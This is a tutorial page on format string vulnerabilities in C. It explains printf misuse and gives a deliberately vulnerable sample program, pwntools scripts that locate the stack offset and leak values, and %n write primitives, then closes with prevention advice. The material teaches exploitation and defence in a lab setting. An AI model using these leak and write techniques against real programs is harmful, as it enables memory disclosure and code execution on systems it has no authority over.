> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/13.-format-string.md).

# 0x11 — Understanding Format String Vulnerability

## Overview

A **Format String Vulnerability** occurs when user-supplied input is passed directly as the format string argument to functions like `printf`, `fprintf`, `sprintf`, etc. — without a format specifier.

This allows an attacker to:

* **Read** arbitrary memory (stack, heap, libc addresses)
* **Write** arbitrary values to arbitrary memory addresses
* Leak stack canaries, bypass ASLR, and achieve code execution

***

## The Vulnerability

### Secure Code

```c
printf("%s", user_input);   // ✅ Safe — format string is controlled
```

### Vulnerable Code

```c
printf(user_input);         // ❌ Vulnerable — user controls the format string
```

When `user_input` is something like `%p.%p.%p`, `printf` treats it as a format string and reads values off the stack.

***

## How `printf` Works Internally

`printf` reads arguments from the stack (or registers in x86-64) based on the format string. For each `%p`, `%x`, `%s`, etc., it consumes the next argument.

If there are more format specifiers than arguments provided, `printf` reads **whatever is on the stack** (or in registers) — which often includes sensitive data.

***

## Format Specifiers Reference

| Specifier | Action                                                   |
| --------- | -------------------------------------------------------- |
| `%p`      | Print pointer (hex, includes 0x)                         |
| `%x`      | Print hex integer (no 0x prefix)                         |
| `%d`      | Print signed integer                                     |
| `%s`      | Dereference pointer and print as string                  |
| `%n`      | **Write** number of bytes printed so far                 |
| `%hn`     | Write 2-byte (short) value                               |
| `%hhn`    | Write 1-byte value                                       |
| `%lln`    | Write 8-byte (long long) value                           |
| `%Nc`     | Print N characters (used to control value written by %n) |

***

## Direct Parameter Access

Printf supports accessing specific arguments by position using `%N$`:

```
%3$p   → print the 3rd argument as a pointer
%7$x   → print the 7th argument as hex
%4$n   → write to address stored in 4th argument
```

This lets you target specific stack offsets precisely.

***

## Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <string.h>

int secret = 0xdeadbeef;

int main() {
    char buf[128];
    printf("Enter input: ");
    fgets(buf, 128, stdin);
    printf(buf);           // ← FORMAT STRING VULNERABILITY
    printf("\n");
    return 0;
}
```

Compile:

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
```

***

## Step 1: Identify the Vulnerability

Test with format specifiers:

```bash
./vuln
Enter input: %p.%p.%p.%p.%p.%p.%p.%p
0x7ffd....(nil).0x7f....0x1.(nil).0x7ffd....0x702e70252e702e70.0x2e70252e702e7025
```

You're reading stack and register values!

***

## Step 2: Find Your Input's Position on the Stack

Your input buffer is somewhere on the stack too. If you put a known marker in your input, you can find which `%N$p` refers to your own buffer.

```python
from pwn import *

p = process('./vuln')

# Send AAAA followed by %p's to find our position
payload = b'AAAA.' + b'%p.' * 30
p.sendlineafter(b'Enter input: ', payload)
output = p.recvline()
print(output)
```

Look for `0x41414141` (AAAA in hex) in the output. The position where it appears is your **format string offset**.

Example: if it appears at the 6th `%p`, your offset is **6**.

***

## Step 3: Controlled Read

Once you know your offset, you can read any memory address. Place the address in your buffer and use `%N$s` to dereference it:

```python
offset = 6

# Read the value at 'secret' variable address
secret_addr = 0x601040   # from: nm vuln | grep secret

payload = p64(secret_addr) + f'%{offset}$s'.encode()
```

But note: in 64-bit, the address contains null bytes. Format strings stop at null bytes. This makes 64-bit format string read/write more complex — tricks like putting the address at the end are used.

***

## Quick Example: Leaking Stack Values

```python
from pwn import *

p = process('./vuln')

# Read 20 values from the stack
for i in range(1, 21):
    payload = f'%{i}$p'.encode()
    p.sendlineafter(b'Enter input: ', payload)
    val = p.recvline()
    print(f"[{i}]: {val.decode().strip()}")
```

***

## Format String Offset on x86-64

On 64-bit, the first 6 arguments go in registers (`rdi, rsi, rdx, rcx, r8, r9`). `rdi` is the format string itself. So:

* `%1$p` → `rsi` (2nd register arg)
* `%6$p` → first stack argument
* `%7$p` → second stack argument
* etc.

Your input buffer on the stack will typically appear around offset 6–10.

***

## Summary of Attack Primitives

| Primitive         | How                        | Example     |
| ----------------- | -------------------------- | ----------- |
| Leak stack values | `%p` or `%x`               | `%7$p`      |
| Read memory       | `%s` (dereference pointer) | `%7$s`      |
| Write memory      | `%n` (write byte count)    | `%100c%7$n` |

***

## Key Takeaways

* Format string bugs occur when user input is used directly as a format string
* They allow reading memory (via `%p`, `%s`) and writing memory (via `%n`)
* Always use `printf("%s", buf)` instead of `printf(buf)`
* Direct parameter access (`%N$p`) makes exploitation precise and efficient
* Finding your buffer's offset is the critical first step in exploitation

***

## Prevention

```c
// NEVER
printf(user_input);
fprintf(fp, user_input);
sprintf(out, user_input);

// ALWAYS
printf("%s", user_input);
fprintf(fp, "%s", user_input);
snprintf(out, sizeof(out), "%s", user_input);
```

Compiler warning: `-Wformat-security` will flag unsafe format string usage.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/13.-format-string.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
